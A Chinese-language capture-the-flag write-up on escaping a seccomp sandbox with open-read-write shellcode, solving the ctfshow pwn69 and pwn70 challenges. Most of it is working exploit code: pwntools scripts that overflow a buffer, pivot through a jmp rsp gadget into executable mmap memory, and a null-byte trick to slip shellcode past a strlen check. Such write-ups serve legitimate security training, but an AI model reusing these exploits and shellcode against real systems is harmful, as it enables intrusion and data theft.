ORW沙箱逃逸
什么是沙箱保护
沙箱保护是一种将不受信任或高风险的代码与系统其余部分隔离在受限运行环境中的安全机制,限制该代码可调用的系统调用、访问的文件和网络权限等资源,从而在发生漏洞或恶意行为时把损害控制在小范围内(常见实现有容器/命名空间、seccomp、应用进程级沙箱和虚拟机),以实现最小权限原则并降低系统被攻破的风险。
例题–ctfshow pwn69
查保护64位

查沙箱的工具
1 2 3
| sudo apt install gcc ruby-dev
gem install seccomp-tools
|
开了沙箱保护,但是开了系统调用号为0,1,2,60的系统调用,也就是可以用ORW

主要逻辑,输入可0x38字节,加上覆盖ebp和返回地址的空间,可以溢出的空间只有0x8字节了

这个函数中发现有jmp rsp,跳到栈顶的意思

0x20字节放不下ORW,这时候看到mmap函数申请了,0x123000地址,有0x1000字节的空间可写可执行
那么写payload引导进0x123000中写入ORW即可

覆盖返回地址为jmp rsp,让rip跳到栈顶后面重新计算栈顶将rip指向0x30的位置
也就是缓冲区的最顶端,为的就是执行payload中的内容
1
| p64(jmp_rsp) + asm("sub rsp,0x30;jmp rsp")
|
执行payload中内容到mmap分配的可执行空间
payload构造:
1 2 3 4 5
| jmp_rsp = 0x400A01 pay =asm(shellcraft.read(0, mmap, 0x100)) pay += asm("mov rax,0x123000;jmp rax") pay = pay.ljust(0x28,b"\x00") pay += p64(jmp_rsp) + asm("sub rsp,0x30;jmp rsp")
|
交互时发送payload,随后发送ORW
ORW shellcode板子
1 2 3 4 5
| mmap = 0x123000 orw_shellcode = shellcraft.open("/ctfshow_flag") orw_shellcode += shellcraft.read(3, mmap, 0x100) orw_shellcode += shellcraft.write(1, mmap, 0x100) shellcode = asm(orw_shellcode)
|
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| from pwn import * context.terminal = ['tmux', 'splitw', '-h'] context(log_level='debug', arch='amd64', os='linux') p = remote("pwn.challenge.ctf.show", 28173)
rv = lambda :p.recv() ru = lambda x:p.recvuntil(x) rud = lambda x:p.recvuntil(x,drop=True) rl = lambda x:p.recvline() sd = lambda x:p.send(x) sl = lambda x:p.sendline(x) sa = lambda x,y:p.sendafter(x,y) sla = lambda x,y:p.sendlineafter(x,y) l32 = lambda data :u32(data.ljust(4,b'\x00')) l64 = lambda data :u64(data.ljust(8,b'\x00')) uu32 = lambda : u32(p.recv(4).ljust(4, b"\x00")) uu64 = lambda : u64(p.recv(6).ljust(8, b"\x00")) leak = lambda name, addr:log.success('{} -> {:#x}'.format(name, addr)) inter = lambda : p.interactive() lg = lambda address,data:log.success('%s: '%(address)+hex(data)) if args.G: gdb.attach(p)
mmap = 0x123000 orw_shellcode = shellcraft.open("/ctfshow_flag") orw_shellcode += shellcraft.read(3, mmap, 0x100) orw_shellcode += shellcraft.write(1, mmap, 0x100) shellcode = asm(orw_shellcode)
jmp_rsp = 0x400A01 pay =asm(shellcraft.read(0, mmap, 0x100)) pay += asm("mov rax,0x123000;jmp rax") pay = pay.ljust(0x28,b"\x00") pay += p64(jmp_rsp) + asm("sub rsp,0x30;jmp rsp") ru(b"to do") sl(pay) sl(shellcode)
inter()
|
例题–ctfshow pwn70
禁用了execve
这里有个检验,strlen遇到0就终端,在shellcode前面加\x00开头的shellcode即可

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| shellcode = asm(''' push 0x67616c66 mov rdi,rsp xor esi,esi push 2 pop rax syscall mov rdi,rax mov rsi,rsp mov edx,0x100 xor eax,eax syscall mov edi,1 mov rsi,rsp push 1 pop rax syscall ''')
|
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| shellcode = asm(''' push 0x67616c66 mov rdi,rsp xor esi,esi push 2 pop rax syscall mov rdi,rax mov rsi,rsp mov edx,0x100 xor eax,eax syscall mov edi,1 mov rsi,rsp push 1 pop rax syscall ''') pay = b"\x00\xc0"+shellcode sl(pay)
inter()
|
由于禁用的是execve,cat用的是open调用,所以也可以这么写
1 2 3 4 5
| shellcode = b'\x00\xc0' + asm(shellcraft.cat('flag')) pay = b"\x00\xc0"+shellcode sl(pay)
inter()
|